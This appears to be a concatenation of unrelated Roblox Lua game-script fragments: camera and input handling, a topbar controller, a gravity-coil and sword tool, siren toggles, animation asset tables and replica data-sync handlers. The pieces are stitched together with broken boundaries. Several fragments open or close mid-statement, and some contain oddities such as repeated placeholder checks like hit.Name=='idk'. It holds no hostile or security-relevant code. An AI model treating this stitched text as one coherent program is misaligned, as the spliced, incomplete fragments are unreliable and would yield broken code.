controllerOptionIcon.isSelected local iconTip = (isSelected and "Normal mode") or "Controller mode" controllerOptionIcon:setTip(iconTip) IconController._enableControllerMode(isSelected) end controllerOptionIcon.selected:Connect(iconClicked) controllerOptionIcon.deselected:Connect(iconClicked) -- Hide/show topbar when indicator action selected in controller mode userInputService.InputBegan:Connect(function(input,gpe) if not IconController.controllerModeEnabled then return end if input.KeyCode == Enum.KeyCode.DPadDown then if not guiService.SelectedObject and checkTopbarEnabled() then IconController.setTopbarEnabled(true,false) end elseif input.KeyCode == Enum.KeyCode.ButtonB then IconController._previousSelectedObject = guiService.SelectedObject IconController._setControllerSelectedObject(nil) IconController.setTopbarEnabled(false,false) end input:Destroy() end) -- Setup overflow icons for alignment, detail in pairs(alignmentDetails) do if alignment ~= "mid" then local overflowName = "_overflowIcon-"..alignment local overflowIcon = Icon.new() :setImage(6069276526) :setName(overflowName) :setEnabled(false) detail.overflowIcon = overflowIcon overflowIcon.accountForWhenDisabled = true if alignment == "left" then overflowIcon:setOrder(math.huge) overflowIcon:setLeft() overflowIcon:set("dropdownAlignment", "right") elseif alignment == "right" then overflowIcon:setOrder(-math.huge) overflowIcon:setRight() overflowIcon:set("dropdownAlignment", "left") end end end end)()
--[=[ Returns the current Promise status. @return Status ]=]
function Promise.prototype:getStatus() return self._status end
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.cameraType = nil self.cameraMovementMode = nil local player = Players.LocalPlayer self.lastCameraTransform = nil self.rotateInput = ZERO_VECTOR2 self.userPanningCamera = false self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0,5,0) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE) self.currentSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.panEnabled = true self.keyPanEnabled = true self.distanceChangeEnabled = true self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil self.boundContextActions = {} -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.headHeightR15 = R15_HEAD_OFFSET self.heightScaleChangedConn = nil self.subjectStateChangedConn = nil self.humanoidChildAddedConn = nil self.humanoidChildRemovedConn = nil -- Gamepad support self.activeGamepad = nil self.gamepadPanningCamera = false self.lastThumbstickRotate = nil self.numOfSeconds = 0.7 self.currentSpeed = 0 self.maxSpeed = 6 self.vrMaxSpeed = 4 self.lastThumbstickPos = Vector2.new(0,0) self.ySensitivity = 0.65 self.lastVelocity = nil self.gamepadConnectedConn = nil self.gamepadDisconnectedConn = nil self.currentZoomSpeed = 1.0 self.L3ButtonDown = false self.dpadLeftDown = false self.dpadRightDown = false -- Touch input support self.isDynamicThumbstickEnabled = false self.fingerTouches = {} self.numUnsunkTouches = 0 self.inputStartPositions = {} self.inputStartTimes = {} self.startingDiff = nil self.pinchBeginZoom = nil self.userPanningTheCamera = false self.touchActivateConn = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- [[ NOTICE ]] -- -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) if FFlagUserNewDefaultCameraAngle then self:OnCurrentCameraChanged() end if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) if FFlagUserNewDefaultCameraAngle then self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil end if UserInputService.TouchEnabled then self.PlayerGui = Players.LocalPlayer:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart() if not self.humanoidRootPart then local player = Players.LocalPlayer if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid, isDead) -- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid if humanoid:GetState() == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character and character:IsA("Model") then return character:FindFirstChild("Head") or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectPosition() local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead if VRService.VREnabled and humanoidIsDead and humanoid == self.lastSubject then result = self.lastSubjectPosition else local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset = humanoid.RigType == Enum.HumanoidRigType.R15 and R15_HEAD_OFFSET or HEAD_OFFSET if humanoidIsDead then heightOffset = ZERO_VECTOR3 end result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET if VRService.VREnabled then offset = VR_SEAT_OFFSET end result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() local player = Players.LocalPlayer if self.portraitMode then self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, PORTRAIT_DEFAULT_DISTANCE) else self.defaultSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, DEFAULT_DISTANCE) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
---Adjusts the camera Y touch Sensitivity when moving away from the center and in the TOUCH_SENSITIVTY_ADJUST_AREA
function BaseCamera:AdjustTouchSensitivity(delta, sensitivity) local cameraCFrame = game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame if not cameraCFrame then return sensitivity end local currPitchAngle = cameraCFrame:ToEulerAnglesYXZ() local multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y if currPitchAngle > TOUCH_ADJUST_AREA_UP and delta.Y < 0 then local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_UP)/(MAX_Y - TOUCH_ADJUST_AREA_UP) fractionAdjust = 1 - (1 - fractionAdjust)^3 multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * ( TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y) elseif currPitchAngle < TOUCH_ADJUST_AREA_DOWN and delta.Y > 0 then local fractionAdjust = (currPitchAngle - TOUCH_ADJUST_AREA_DOWN)/(MIN_Y - TOUCH_ADJUST_AREA_DOWN) fractionAdjust = 1 - (1 - fractionAdjust)^3 multiplierY = TOUCH_SENSITIVTY_ADJUST_MAX_Y - fractionAdjust * ( TOUCH_SENSITIVTY_ADJUST_MAX_Y - TOUCH_SENSITIVTY_ADJUST_MIN_Y) end return Vector2.new( sensitivity.X, sensitivity.Y * multiplierY ) end function BaseCamera:OnTouchBegan(input, processed) local canUseDynamicTouch = self.isDynamicThumbstickEnabled and not processed if canUseDynamicTouch then if self.dynamicTouchInput == nil and isInDynamicThumbstickArea(input) then -- First input in the dynamic thumbstick area should always be ignored for camera purposes -- Even if the dynamic thumbstick does not process it immediately self.dynamicTouchInput = input return end self.fingerTouches[input] = processed self.inputStartPositions[input] = input.Position self.inputStartTimes[input] = tick() self.numUnsunkTouches = self.numUnsunkTouches + 1 end end function BaseCamera:OnTouchChanged(input, processed) if self.fingerTouches[input] == nil then if self.isDynamicThumbstickEnabled then return end self.fingerTouches[input] = processed if not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end end if self.numUnsunkTouches == 1 then if self.fingerTouches[input] == false then self.panBeginLook = self.panBeginLook or self:GetCameraLookVector() self.startPos = self.startPos or input.Position self.lastPos = self.lastPos or self.startPos self.userPanningTheCamera = true local delta = input.Position - self.lastPos delta = Vector2.new(delta.X, delta.Y * UserGameSettings:GetCameraYInvertValue()) if self.panEnabled then local adjustedTouchSensitivity = TOUCH_SENSITIVTY self:AdjustTouchSensitivity(delta, TOUCH_SENSITIVTY) local desiredXYVector = self:InputTranslationToCameraAngleChange(delta, adjustedTouchSensitivity) self.rotateInput = self.rotateInput + desiredXYVector end self.lastPos = input.Position end else self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false end if self.numUnsunkTouches == 2 then local unsunkTouches = {} for touch, wasSunk in pairs(self.fingerTouches) do if not wasSunk then table.insert(unsunkTouches, touch) end end if #unsunkTouches == 2 then local difference = (unsunkTouches[1].Position - unsunkTouches[2].Position).magnitude if self.startingDiff and self.pinchBeginZoom then local scale = difference / math.max(0.01, self.startingDiff) local clampedScale = Util.Clamp(0.1, 10, scale) if self.distanceChangeEnabled then self:SetCameraToSubjectDistance(self.pinchBeginZoom / clampedScale) end else self.startingDiff = difference self.pinchBeginZoom = self:GetCameraToSubjectDistance() end end else self.startingDiff = nil self.pinchBeginZoom = nil end end function BaseCamera:OnTouchEnded(input, processed) if input == self.dynamicTouchInput then self.dynamicTouchInput = nil return end if self.fingerTouches[input] == false then if self.numUnsunkTouches == 1 then self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false elseif self.numUnsunkTouches == 2 then self.startingDiff = nil self.pinchBeginZoom = nil end end if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then self.numUnsunkTouches = self.numUnsunkTouches - 1 end self.fingerTouches[input] = nil self.inputStartPositions[input] = nil self.inputStartTimes[input] = nil end function BaseCamera:OnMouse2Down(input, processed) if processed then return end self.isRightMouseDown = true self:OnMousePanButtonPressed(input, processed) end function BaseCamera:OnMouse2Up(input, processed) self.isRightMouseDown = false self:OnMousePanButtonReleased(input, processed) end function BaseCamera:OnMouse3Down(input, processed) if processed then return end self.isMiddleMouseDown = true self:OnMousePanButtonPressed(input, processed) end function BaseCamera:OnMouse3Up(input, processed) self.isMiddleMouseDown = false self:OnMousePanButtonReleased(input, processed) end function BaseCamera:OnMouseMoved(input, processed) if not self.hasGameLoaded and VRService.VREnabled then return end local inputDelta = input.Delta inputDelta = Vector2.new(inputDelta.X, inputDelta.Y * UserGameSettings:GetCameraYInvertValue()) if self.panEnabled and ((self.startPos and self.lastPos and self.panBeginLook) or self.inFirstPerson or self.inMouseLockedMode) then local desiredXYVector = self:InputTranslationToCameraAngleChange(inputDelta,MOUSE_SENSITIVITY) self.rotateInput = self.rotateInput + desiredXYVector end if self.startPos and self.lastPos and self.panBeginLook then self.lastPos = self.lastPos + input.Delta end end function BaseCamera:OnMousePanButtonPressed(input, processed) if processed then return end self:UpdateMouseBehavior() self.panBeginLook = self.panBeginLook or self:GetCameraLookVector() self.startPos = self.startPos or input.Position self.lastPos = self.lastPos or self.startPos self.userPanningTheCamera = true end function BaseCamera:OnMousePanButtonReleased(input, processed) self:UpdateMouseBehavior() if not (self.isRightMouseDown or self.isMiddleMouseDown) then self.panBeginLook = nil self.startPos = nil self.lastPos = nil self.userPanningTheCamera = false end end function BaseCamera:UpdateMouseBehavior() if FFlagUserCameraToggle and self.isCameraToggle then CameraUI.setCameraModeToastEnabled(true) CameraInput.enableCameraToggleInput() CameraToggleStateController(self.inFirstPerson) else if FFlagUserCameraToggle then CameraUI.setCameraModeToastEnabled(false) CameraInput.disableCameraToggleInput() end -- first time transition to first person mode or mouse-locked third person if self.inFirstPerson or self.inMouseLockedMode then UserGameSettings.RotationType = Enum.RotationType.CameraRelative UserInputService.MouseBehavior = Enum.MouseBehavior.LockCenter else UserGameSettings.RotationType = Enum.RotationType.MovementRelative if self.isRightMouseDown or self.isMiddleMouseDown then UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition else UserInputService.MouseBehavior = Enum.MouseBehavior.Default end end end end function BaseCamera:UpdateForDistancePropertyChange() -- Calling this setter with the current value will force checking that it is still -- in range after a change to the min/max distance limits self:SetCameraToSubjectDistance(self.currentSubjectDistance) end function BaseCamera:SetCameraToSubjectDistance(desiredSubjectDistance) local player = Players.LocalPlayer local lastSubjectDistance = self.currentSubjectDistance -- By default, camera modules will respect LockFirstPerson and override the currentSubjectDistance with 0 -- regardless of what Player.CameraMinZoomDistance is set to, so that first person can be made -- available by the developer without needing to allow players to mousewheel dolly into first person. -- Some modules will override this function to remove or change first-person capability. if player.CameraMode == Enum.CameraMode.LockFirstPerson then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else local newSubjectDistance = Util.Clamp(player.CameraMinZoomDistance, player.CameraMaxZoomDistance, desiredSubjectDistance) if newSubjectDistance < FIRST_PERSON_DISTANCE_THRESHOLD then self.currentSubjectDistance = 0.5 if not self.inFirstPerson then self:EnterFirstPerson() end else self.currentSubjectDistance = newSubjectDistance if self.inFirstPerson then self:LeaveFirstPerson() end end end -- Pass target distance and zoom direction to the zoom controller ZoomController.SetZoomParameters(self.currentSubjectDistance, math.sign(desiredSubjectDistance - lastSubjectDistance)) -- Returned only for convenience to the caller to know the outcome return self.currentSubjectDistance end function BaseCamera:SetCameraType( cameraType ) --Used by derived classes self.cameraType = cameraType end function BaseCamera:GetCameraType() return self.cameraType end
-- Tell the ActiveCast factory module what FastCast actually *is*.
ActiveCast.SetStaticFastCastReference(FastCast)
--------------
local txt = script.Parent txt.Changed:Connect(function() if txt.Parent:IsA("Frame") then wait(Time_Before_Disappearing) if Fade_Out_Enabled then repeat wait() txt.TextTransparency = txt.TextTransparency + Fade_Out_Smoothness until txt.TextTransparency >= 1 wait(Time_Before_Disappearing) txt:Destroy() else txt:Destroy() end end end)
--------END RIGHT DOOR --------
end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--// Recoil Settings
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming camrecoil = 0.26; -- How much the camera flicks when not aiming AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.33; -- How much the camera flicks when aiming CamShake = 8; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 6; -- THIS IS ALSO NEW!!!! Kickback = 0.8; -- Upward gun rotation when not aiming AimKickback = 0.5; -- Upward gun rotation when aiming
-------- OMG HAX
r = game:service("RunService") Tool = script.Parent local equalizingForce = 250 / 1.2 -- amount of force required to levitate a mass local gravity = .9999999999999999 -- things float at > 1 local ghostEffect = nil local massCon1 = nil local massCon2 = nil function recursiveGetLift(node) local m = 0 local c = node:GetChildren() for i=1,#c do if c[i].className == "Part" then if c[i].Name == "Handle" then m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height else m = m + (c[i]:GetMass() * equalizingForce * gravity) end end m = m + recursiveGetLift(c[i]) end return m end function onMassChanged(child, char) print("Mass changed:" .. child.Name .. " " .. char.Name) if (ghostEffect ~= nil) then ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) end end function UpdateGhostState(isUnequipping) if isUnequipping == true then ghostEffect:Remove() ghostEffect = nil massCon1:disconnect() massCon2:disconnect() else if ghostEffect == nil then local char = Tool.Parent if char == nil then return end ghostEffect = Instance.new("BodyForce") ghostEffect.Name = "GravityCoilEffect" ghostEffect.force = Vector3.new(0, recursiveGetLift(char) ,0) ghostEffect.Parent = char.Head ghostChar = char massCon1 = char.ChildAdded:connect(function(child) onMassChanged(child, char) end) massCon2 = char.ChildRemoved:connect(function(child) onMassChanged(child, char) end) end end end function onEquipped() Tool.Handle.CoilSound:Play() UpdateGhostState(false) end function onUnequipped() UpdateGhostState(true) end script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped)
--[[Sword Part Class]]
-- local SwordPart = { Damage = 20, AttackTime = 1, CoolDown = 0.01, LastSwing = 0, LastHit = 0, Part= nil, Owner = nil,--player object that owns this sword OnHit = nil, OnHitHumanoid = nil, OnAttackReady = nil, OnAttack = nil, SwingSound = nil, HitSound = nil, SwingAnimation = nil, --animation track! ActiveConnections = {}, } do UTIL.MakeClass(SwordPart) function SwordPart.New(npart,nowner) local init= UTIL.DeepCopy(SwordPart) init.Part= npart init.Owner = nowner table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end)) init.OnHit = InternalEvent.New() init.OnHitHumanoid = InternalEvent.New() init.OnAttackReady = InternalEvent.New() init.OnAttack = InternalEvent.New() return init end function SwordPart:SwordTouch(hit) if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end self.OnHit:Fire(hit) local character,humanoid = UTIL.FindCharacterAncestor(hit) if character and character ~= self.Owner.Character then humanoid:TakeDamage(self.Damage) self.OnHitHumanoid:Fire(humanoid,hit) self.LastHit = tick() if self.HitSound then self.HitSound:Play() end end end function SwordPart:DoSwing() if tick()-self.LastSwing<self.AttackTime+self.CoolDown then return end if self.SwingAnimation then self.SwingAnimation:Play() end if self.SwingSound then self.SwingSound:Play() end self.LastSwing = tick() self.OnAttack:Fire() end function SwordPart:Destroy() for _,i in pairs(self.ActiveConnections) do i:disconnect() end end end do local Handle = script.Parent local Tool = Handle.Parent local Player = game.Players.LocalPlayer local Character = UTIL.WaitForValidCharacter(Player) local SwingAni = UTIL.Instantiate"Animation" {AnimationId = "http://www.roblox.com/Asset?ID=89289879"} local HitSound = Handle:WaitForChild('Hit') local SwingSound = Handle:WaitForChild('Swing') local SwingAniTrack local Sword Tool.Equipped:connect(function(mouse) Sword = SwordPart.New(Handle,Player) Sword.Damage = 40 Sword.HitSound = HitSound Sword.SwingSound = SwingSound Character = UTIL.WaitForValidCharacter(Player) local Humanoid = Character:FindFirstChild('Humanoid') SwingAniTrack = Humanoid:LoadAnimation(SwingAni) Sword.SwingAnimation = SwingAniTrack Sword.OnHitHumanoid:Connect(function(humanoid,hit) local myTorso = Character:FindFirstChild('Torso') local torso = humanoid.Parent:FindFirstChild('Torso') if not torso or not myTorso then return end if hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' or hit.Name=='idk' then hit:BreakJoints() WeldUtil.WeldBetween(hit, Handle) Delay(1,function() hit:BreakJoints() end ) end end) mouse.Button1Down:connect(function() Sword:DoSwing() end) end) Tool.Unequipped:connect(function() Sword:Destroy() end) end
-- Play sounds
for _, effect in pairs(EffectsToPlay:GetChildren()) do if effect:IsA("Sound") then effect:Play() elseif effect:IsA("ParticleEmitter") then -- Emit particles for enough time to create a cloud effect.Enabled = true end end wait(8)
-- warn(b, b:GetChildren())
local val = b.text.Value -- обязательный элемент local new = sample:Clone() --Make a clone of the sample frame new.PName.Text = val -- устанавливаем текст -- new.LayoutOrder = num + a --UIListLayout используется для корректной сортировки списка local x = b:FindFirstChild("image") if x then image = x.Value end if image then new.Image.Image = image -- установка картинки else new.Image.Parent = nil new.Pname.Position.X = UDim.new(0,0) new.Pname.Size = UDim2.new(1,0,1,0) end -- подключение скрипта самоуничтожения local des = dm:Clone() des.Parent = new des.Disabled = false -- вывод на экран new.Parent = sf--Parent to scrolling frame new.DestroyMe.Disabled = false -- стартуем скрипт самоуничтожения end b.Parent = nil end -- уничтожаем элементы for a,b in pairs(tmp) do
--// # key, Else
mouse.KeyDown:connect(function(key) if key=="n" then if veh.Lightbar.middle.Else.IsPlaying == true then veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Else:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.meme.BackgroundColor3 = Color3.fromRGB(62, 62, 62) else veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Else:Play() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Else.BackgroundColor3 = Color3.fromRGB(215, 135, 110) script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62) script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end end)
--This control module helps synchronize flashing signals. Helps multiple flashing signals to flash at the same time
-- Coroutine runner that we create coroutines of. The coroutine can be -- repeatedly resumed with functions to run followed by the argument to run -- them with.
local function runEventHandlerInFreeThread(...) acquireRunnerThreadAndCallEventHandler(...) while true do acquireRunnerThreadAndCallEventHandler(coroutine.yield()) end end
-- { id = "slash.xml", weight = 10 }
}, toollunge = { { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 } }, wave = { { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 } }, point = { { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 } }, dance = { { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 }, { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 } }, dance2 = { { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 } }, dance3 = { { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 }, { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 } }, laugh = { { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 } }, cheer = { { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } }, }
-- Write handlers:
local function ReplicaSetValue(replica_id, path_array, value) local replica = Replicas[replica_id] -- Getting path pointer and listener table: local pointer = replica.Data local listeners = replica._table_listeners for i = 1, #path_array - 1 do pointer = pointer[path_array[i]] if listeners ~= nil then listeners = listeners[1][path_array[i]] end end -- Setting value: local key = path_array[#path_array] local old_value = pointer[key] pointer[key] = value -- Signaling listeners: if old_value ~= value and listeners ~= nil then if old_value == nil then if listeners[3] ~= nil then -- "NewKey" listeners for _, listener in ipairs(listeners[3]) do listener(value, key) end end end listeners = listeners[1][path_array[#path_array]] if listeners ~= nil then if listeners[2] ~= nil then -- "Change" listeners for _, listener in ipairs(listeners[2]) do listener(value, old_value) end end end end -- Raw listeners: for _, listener in ipairs(replica._raw_listeners) do listener("SetValue", path_array, value) end end local function ReplicaSetValues(replica_id, path_array, values) local replica = Replicas[replica_id] -- Getting path pointer and listener table: local pointer = replica.Data local listeners = replica._table_listeners for i = 1, #path_array do pointer = pointer[path_array[i]] if listeners ~= nil then listeners = listeners[1][path_array[i]] end end -- Setting values: for key, value in pairs(values) do -- Set value: local old_value = pointer[key] pointer[key] = value -- Signaling listeners: if old_value ~= value and listeners ~= nil then if old_value == nil then if listeners[3] ~= nil then -- "NewKey" listeners for _, listener in ipairs(listeners[3]) do listener(value, key) end end end local key_listeners = listeners[1][key] if key_listeners ~= nil then if key_listeners[2] ~= nil then -- "Change" listeners for _, listener in ipairs(key_listeners[2]) do listener(value, old_value) end end end end end -- Raw listeners: for _, listener in ipairs(replica._raw_listeners) do listener("SetValues", path_array, values) end end local function ReplicaArrayInsert(replica_id, path_array, value) --> new_index local replica = Replicas[replica_id] -- Getting path pointer and listener table: local pointer = replica.Data local listeners = replica._table_listeners for i = 1, #path_array do pointer = pointer[path_array[i]] if listeners ~= nil then listeners = listeners[1][path_array[i]] end end -- Setting value: table.insert(pointer, value) -- Signaling listeners: local new_index = #pointer if listeners ~= nil then if listeners[4] ~= nil then -- "ArrayInsert" listeners for _, listener in ipairs(listeners[4]) do listener(new_index, value) end end end -- Raw listeners: for _, listener in ipairs(replica._raw_listeners) do listener("ArrayInsert", path_array, value, new_index) end return new_index end local function ReplicaArraySet(replica_id, path_array, index, value) local replica = Replicas[replica_id] -- Getting path pointer and listener table: local pointer = replica.Data local listeners = replica._table_listeners for i = 1, #path_array do pointer = pointer[path_array[i]] if listeners ~= nil then listeners = listeners[1][path_array[i]] end end -- Setting value: pointer[index] = value -- Signaling listeners: if listeners ~= nil then if listeners[5] ~= nil then -- "ArraySet" listeners for _, listener in ipairs(listeners[5]) do listener(index, value) end end end -- Raw listeners: for _, listener in ipairs(replica._raw_listeners) do listener("ArraySet", path_array, index, value) end end local function ReplicaArrayRemove(replica_id, path_array, index) --> removed_value local replica = Replicas[replica_id] -- Getting path pointer and listener table: local pointer = replica.Data local listeners = replica._table_listeners for i = 1, #path_array do pointer = pointer[path_array[i]] if listeners ~= nil then listeners = listeners[1][path_array[i]] end end -- Setting value: local old_value = table.remove(pointer, index) -- Signaling listeners: if listeners ~= nil then if listeners[6] ~= nil then -- "ArrayRemove" listeners for _, listener in ipairs(listeners[6]) do listener(index, old_value) end end end -- Raw listeners: for _, listener in ipairs(replica._raw_listeners) do listener("ArrayRemove", path_array, index, old_value) end return old_value end
--[[ local function touchEnded(otherPart) if(otherPart.Name == "HumanoidRootPart" ) then local player = game.Players:FindFirstChild(otherPart.Parent.Name) if(player) then --print("touch ended") playersNear[player] = nil if(next(playersNear) == nil) then if(doorState == DoorState.Open) then StartClosing() end end end end end]]
trigger.Touched:Connect(touched)
-- handle to the game service object
r = game:service("RunService")
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -6.5 Tune.RCamber = -7.5 Tune.FToe = 0 Tune.RToe = 0
--[[* * Converts a list of globs into a function that matches a path against the * globs. * * Every time picomatch is called, it will parse the glob strings and turn * them into regexp instances. Instead of calling picomatch repeatedly with * the same globs, we can use this function which will build the picomatch * matchers ahead of time and then have an optimized path for determining * whether an individual path matches. * * This function is intended to match the behavior of `micromatch()`. * * @example * const isMatch = globsToMatcher(['*.js', '!*.test.js']); * isMatch('pizza.js'); // true * isMatch('pizza.test.js'); // false ]]
